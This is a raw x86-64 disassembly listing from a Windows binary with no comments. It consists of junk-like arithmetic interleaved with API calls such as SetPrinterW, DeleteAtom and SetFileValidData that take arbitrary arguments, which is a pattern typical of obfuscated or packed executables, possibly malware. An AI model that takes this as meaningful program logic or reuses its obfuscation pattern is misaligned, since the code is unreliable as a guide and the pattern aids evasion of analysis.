add eax, ecx
mov dword [rsp + 0x5808], eax
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x39b]
add eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401773b8], ax
mov rcx, qword [rsp + 0xb230]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x58fc], eax
movzx eax, word [rsp + 0xfe8]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb400]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b98], ax
mov eax, dword [rsp + 0x581c]
add eax, 0xac
mov dword [rsp + 0x581c], eax
movzx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3a5], al
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb1c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb408], rax
cmp dword [rsp + 0x581c], 0xe537
jbe 0x140016043
mov rax, qword [rsp + 0xb1e0]
mov qword [rsp + 0xb418], rax
movabs rax, 0xc0e4a6f335e455ee
cmp qword [rsp + 0xb418], rax
je 0x1400161c1
jmp 0x1400162fd
mov eax, dword [rsp + 0x58ec]
mov ecx, dword [rsp + 0x5894]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58b0], eax
lea rax, [rsp + 0x492c]
mov qword [rsp + 0xb420], rax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfec]
add eax, ecx
mov word [rsp + 0x1bd8], ax
mov rax, qword [rsp + 0xb140]
movzx eax, byte [rax]
mov byte [rsp + 0x5900], al
cmp byte [rsp + 0x5900], 0x13
je 0x1400162dd
cmp byte [rsp + 0x5900], 0x14
je 0x140016236
jmp 0x1400162fb
movzx eax, word [rsp + 0x1b20]
movzx ecx, word [rsp + 0xb38]
shl eax, cl
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
lea rax, [rsp + 0xb270]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1e
lea r9, [rsp + 0xb200]
mov r8d, reloc.SHELL32.dll_ILRemoveLastID
mov rdx, qword [rsp + 0xb170]
mov rcx, qword [rsp + 0xb310]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x57f0], eax
movzx eax, byte [rsp + 0x3a1]
movzx ecx, byte [rsp + 0x39e]
or eax, ecx
mov byte [reloc.SHELL32.dll_PathMakeUniqueName], al
mov rax, qword [rsp + 0xb3a0]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0xb428], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb428]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb2b0], rax
jmp 0x1400162fb
mov rax, qword [rsp + 0xb250]
mov rcx, qword [rsp + 0xb2b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb368], rax
jmp 0x140016330
lea rcx, [rsp + 0xb430]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xb438], rax
mov rax, qword [0x140183b30]
mov rcx, qword [rsp + 0xb320]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb138], rax
lea rdx, [rsp + 0x1a1b0]
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5824], eax
movzx eax, word [rsp + 0x1bc4]
mov word [rsp + 0x1be8], ax
movsx eax, byte [rsp + 0x39d]
movsx ecx, byte [rsp + 0x21b]
sub eax, ecx
mov byte [rsp + 0x39a], al
lea rax, [rsp + 0xb1e0]
mov qword [rsp + 0xb440], rax
mov rax, qword [rsp + 0xb200]
mov ecx, dword [rsp + 0x5834]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5894]
mov dword [rsp + 0x5904], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39c]
add eax, ecx
mov byte [0x140183b48], al
movzx eax, word [0x140177390]
mov dword [rsp + 0x5908], eax
cmp dword [rsp + 0x5908], 0
je 0x1400163e9
jmp 0x14015a4b5
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb448], rax
mov rax, qword [rsp + 0xb140]
movzx eax, byte [rax]
mov byte [rsp + 0x590c], al
cmp byte [rsp + 0x590c], 0x28
je 0x140016429
cmp byte [rsp + 0x590c], 0x7b
je 0x140016449
jmp 0x1400164bd
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0x92c8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb348], rax
jmp 0x1400164bd
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [0x1401773a4]
sar eax, cl
mov word [0x1401773bc], ax
lea rax, [rsp + 0xb450]
mov qword [rsp + 0x20], rax
mov r9d, 0xe5
mov r8, qword [rsp + 0xb178]
mov rdx, qword [rsp + 0xb170]
mov rcx, qword [rsp + 0xb3e8]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x58c4], eax
mov rax, qword [rsp + 0xb330]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xb1b8]
mov edx, dword [rax]
mov rcx, qword [rsp + 0xb1e0]
call fcn.14015b1f0
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfec]
add eax, ecx
mov word [rsp + 0x1b98], ax
cmp dword [rsp + 0x582c], 0xb12f
jbe 0x1400166ef
movzx eax, byte [rsp + 0x39e]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3a3], al
movzx ecx, word [rsp + 0x1bb4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bec], ax
movsx eax, byte [rsp + 0x39d]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39a], al
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa240]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb138], rax
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bdc], ax
mov rcx, qword [rsp + 0xb390]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x5830], eax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3f0], rax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x58c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x58b0], eax
mov eax, dword [rsp + 0x582c]
sub eax, 0x5a
mov dword [rsp + 0x582c], eax
mov eax, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x48a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5834], eax
movzx eax, word [rsp + 0x1bcc]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0xb400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
add eax, ecx
mov rcx, qword [rsp + 0xb400]
mov word [rcx], ax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x69]
and eax, ecx
mov byte [rsp + 0x39e], al
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb398]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x92c8]
shl rax, cl
mov qword [rsp + 0xb2b0], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc4]
sar eax, cl
mov word [rsp + 0x1ba4], ax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0xb130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb408], rax
mov eax, dword [rsp + 0x57a8]
mov ecx, dword [rsp + 0x58ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58c4], eax
jmp 0x1400164da
lea rax, [rsp + 0xfec]
mov qword [rsp + 0xb458], rax
lea rdx, [rsp + 0xb460]
mov rcx, qword [rsp + 0xb390]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x58fc], eax
mov dword [rsp + 0x5910], 0x1194
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb468], rax
movzx eax, byte [rsp + 0x3a1]
movzx ecx, byte [0x140177038]
and eax, ecx
mov byte [reloc.SHELL32.dll_PathMakeUniqueName], al
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0xb320]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38b]
add eax, ecx
mov byte [rsp + 0x39f], al
movzx eax, word [rsp + 0x1bd0]
movzx ecx, word [rsp + 0x1bcc]
sub eax, ecx
mov word [rsp + 0x1be8], ax
movsx eax, word [rsp + 0x1be0]
movsx ecx, word [rsp + 0x1b98]
add eax, ecx
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb440]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb408], rax
mov rax, qword [rsp + 0xb200]
mov rcx, qword [rsp + 0xb420]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x492c], eax
mov eax, dword [0x1401773a0]
mov ecx, dword [rsp + 0x58b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57a8], eax
movzx eax, byte [rsp + 0x3a0]
movzx ecx, byte [rsp + 0x3a5]
sub eax, ecx
mov byte [rsp + 0xee], al
movzx eax, word [rsp + 0x1a2c]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401773bc], ax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a2]
xor eax, ecx
mov byte [rsp + 0x3a0], al
mov rax, qword [rsp + 0xb350]
mov rcx, qword [0x140177398]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x92c8], rax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb348], rax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rsp + 0x5808]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x492c], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8339
mov rcx, qword [rsp + 0xb390]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x58bc], eax
mov rax, qword [rsp + 0xb440]
mov rcx, qword [rsp + 0xa2c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xb1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x58c4], eax
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x39b]
sub eax, ecx
mov byte [rsp + 0x3a0], al
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
add eax, ecx
mov word [0x1401773b8], ax
movsx eax, byte [rsp + 0x39f]
movsx ecx, byte [0x140177039]
sub eax, ecx
mov rcx, qword [rsp + 0xb140]
mov byte [rcx], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
sub eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [0x140183b30]
mov rcx, qword [rsp + 0xb0f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb320], rax
movzx eax, word [rsp + 0x1ba4]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1bb8], ax
lea rcx, [rsp + 0x187e8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb440]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xb270]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rsp + 0x48a8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb2c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x57a8]
shl eax, cl
mov dword [rsp + 0x57c8], eax
movzx eax, byte [rsp + 0x39e]
movzx ecx, byte [rsp + 0x3a0]
and eax, ecx
mov byte [rsp + 0x3a1], al
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1ba8]
add eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb3a0]
mov rcx, qword [rsp + 0xb360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x39e], al
movzx eax, word [rsp + 0x1bd0]
movzx ecx, word [rsp + 0xb38]
sub eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb458]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
and eax, ecx
mov word [rsp + 0xfec], ax
lea rdx, [rsp + 0x1a178]
mov rcx, qword [rsp + 0xb3b8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5830], eax
mov eax, dword [rsp + 0x57a4]
add eax, 0xec
mov dword [rsp + 0x57a4], eax
mov rax, qword [rsp + 0xb420]
mov ecx, dword [rsp + 0x48a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b3c], eax
movzx ecx, word [rsp + 0x1bb4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bb4], ax
mov eax, dword [0x1401773a0]
mov ecx, dword [rsp + 0x5814]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58b0], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb440]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39a]
sub eax, ecx
mov byte [rsp + 0x39f], al
movzx eax, byte [rsp + 0x3a1]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3a3], al
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfec]
sar eax, cl
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1188]
shl eax, cl
mov word [rsp + 0x1bc4], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0x92c8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb250], rax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0x92c8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb408]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3f0], rax
lea rcx, [rsp + 0x194e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xb390]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5914], eax
mov rax, qword [rsp + 0xb2c0]
mov rcx, qword [rsp + 0xb200]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58d0], eax
cmp dword [rsp + 0x57a4], 0xf0d0
jbe 0x140016756
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb440]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb408]
mov rdx, qword [rsp + 0xb130]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x140016e19
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3a2], al
movsx eax, word [rsp + 0xfec]
movsx ecx, word [rsp + 0x1bd8]
add eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bd0]
add eax, ecx
mov word [0x1401773a4], ax
mov rax, qword [rsp + 0xb0f0]
mov rcx, qword [rsp + 0xb2b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5808]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0xb200]
mov r9d, dword [rax]
mov rax, qword [rsp + 0xb160]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xb160]
mov edx, dword [rax]
mov rax, qword [rsp + 0xb420]
mov ecx, dword [rax]
call fcn.14015b270
mov r9d, 1
lea r8, [rsp + 0xb1a8]
mov edx, 0xd9
mov rcx, qword [rsp + 0xb3e8]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x5918], eax
mov rax, qword [rsp + 0xb368]
mov rcx, qword [rsp + 0xb250]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3a0], rax
movzx eax, byte [rsp + 0x39e]
movzx ecx, byte [rsp + 0x69]
sar eax, cl
mov byte [rsp + 0xee], al
mov eax, dword [rsp + 0x57b0]
mov dword [rsp + 0x58ec], eax
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a48], eax
mov rax, qword [rsp + 0xb348]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0xb470], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb470]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa240]
mov rdx, qword [rsp + 0xb360]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x140016f14
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39a]
sub eax, ecx
mov byte [rsp + 0x3a4], al
mov rax, qword [rsp + 0xb3f0]
mov rcx, qword [rsp + 0xb1e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb478], rax
lea rax, [0x1401773bc]
mov qword [rsp + 0xb480], rax
movzx eax, byte [rsp + 0x3a5]
movzx ecx, byte [rsp + 0x69]
sub eax, ecx
mov byte [0x14017703b], al
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
mov word [rsp + 0x1bf0], ax
movsx eax, word [0x1401773b8]
movsx ecx, word [rsp + 0x1be0]
add eax, ecx
mov word [rsp + 0x1bb0], ax
movzx eax, word [rsp + 0x1bb0]
mov word [rsp + 0x1bf4], ax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x58a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x58b0], eax
mov rax, qword [rsp + 0xb408]
mov rcx, qword [rsp + 0x9f48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
lea rax, [rsp + 0x492c]
mov qword [rsp + 0xb488], rax
movsx eax, word [rsp + 0x1ba8]
movsx ecx, word [rsp + 0xfec]
and eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb140]
movzx eax, byte [rax]
mov byte [rsp + 0x591c], al
cmp byte [rsp + 0x591c], 0
je 0x140017007
cmp byte [rsp + 0x591c], 0x76
je 0x140016fca
jmp 0x1400170cf
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaec]
add eax, ecx
mov word [rsp + 0x1b20], ax
movzx eax, byte [rsp + 0x3a0]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14017703b], al
jmp 0x1400170cf
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5828], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov dword [rsp + 0x5920], 0xddfa
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov qword [rsp + 0xb490], rax
lea rax, [rsp + 0xb138]
mov qword [rsp + 0xb498], rax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb498]
mov qword [rsp + 0xb4a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb4a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x92c8], rax
mov dword [rsp + 0x5924], 0xdfeb
mov rax, qword [rsp + 0xb400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bd8]
or eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39d]
xor eax, ecx
mov byte [rsp + 0x26c], al
mov dword [rsp + 0x5928], 0xf5aa
mov rax, qword [rsp + 0xb1c8]
mov rcx, qword [rsp + 0xb3f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
cmp dword [rsp + 0x57ac], 0x761c
je 0x14001738f
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x58c4], eax
mov rax, qword [rsp + 0xb2c0]
mov rcx, qword [rsp + 0xb160]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
add eax, ecx
mov word [0x1401773bc], ax
lea rcx, [rsp + 0x19518]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x3a0]
movzx ecx, byte [rsp + 0x39c]
sub eax, ecx
mov byte [rsp + 0x3a1], al
movzx eax, word [0x140183b28]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bd0], ax
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1bd8]
add eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [reloc.SHELL32.dll_PathMakeUniqueName]
add eax, ecx
mov byte [rsp + 0x3a3], al
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb408]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb270]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x59fa
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x58c0], eax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a48], eax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb330]
mov qword [rsp + 0xb4a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb4a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x57c8], eax
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb360]
sar rax, cl
mov qword [rsp + 0xb180], rax
movzx eax, byte [0x140183b48]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [reloc.SHELL32.dll_PathMakeUniqueName], al
movzx eax, word [rsp + 0x1be8]
movzx ecx, word [rsp + 0x1bd0]
xor eax, ecx
mov word [rsp + 0x1188], ax
movsx eax, word [rsp + 0x1bf4]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfec], ax
mov eax, dword [rsp + 0x57ac]
add eax, 0x85
mov dword [rsp + 0x57ac], eax
movsx eax, byte [rsp + 0x39a]
movsx ecx, byte [rsp + 0x39d]
sub eax, ecx
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb250]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
mov edx, 0x55eb7d
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5838], eax
mov rax, qword [rsp + 0xb330]
mov rcx, qword [rsp + 0xb2b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x58ec], eax
mov rax, qword [rsp + 0xb488]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5834], eax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [0x1401773b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb408], rax
jmp 0x1400170ed
mov eax, dword [rsp + 0x5904]
mov dword [rsp + 0x592c], eax
cmp dword [rsp + 0x592c], 0x7e6a
je 0x1400173af
jmp 0x140017483
mov edx, 0x68
mov rcx, qword [rsp + 0xb4b0]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0xb4b8], rax
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bd0]
xor eax, ecx
mov word [rsp + 0x1b20], ax
mov rax, qword [rsp + 0x9f48]
mov rcx, qword [rsp + 0xb188]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
mov eax, dword [rsp + 0x5894]
mov rcx, qword [rsp + 0xb1b8]
mov qword [rsp + 0xb4c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb4c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x58d0], eax
mov eax, dword [rsp + 0x492c]
mov rcx, qword [rsp + 0xb2c0]
mov qword [rsp + 0xb4c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb4c8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4a48], eax
mov rax, qword [rsp + 0xb400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb458]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bb0], ax
jmp 0x14015a406
movzx eax, byte [rsp + 0x39e]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140183b48], al
mov rax, qword [rsp + 0xb368]
mov qword [rsp + 0xb4d0], rax
movsx eax, byte [rsp + 0x39d]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x38b], al
movzx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3a1], al
mov rax, qword [rsp + 0xb388]
movzx eax, word [rax]
mov word [rsp + 0x1bf8], ax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57a8], eax
mov rax, qword [rsp + 0xb420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x536c], eax
mov dword [rsp + 0x5930], 0x461e
mov rax, qword [rsp + 0xb440]
mov rcx, qword [rsp + 0xb270]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9800], rax
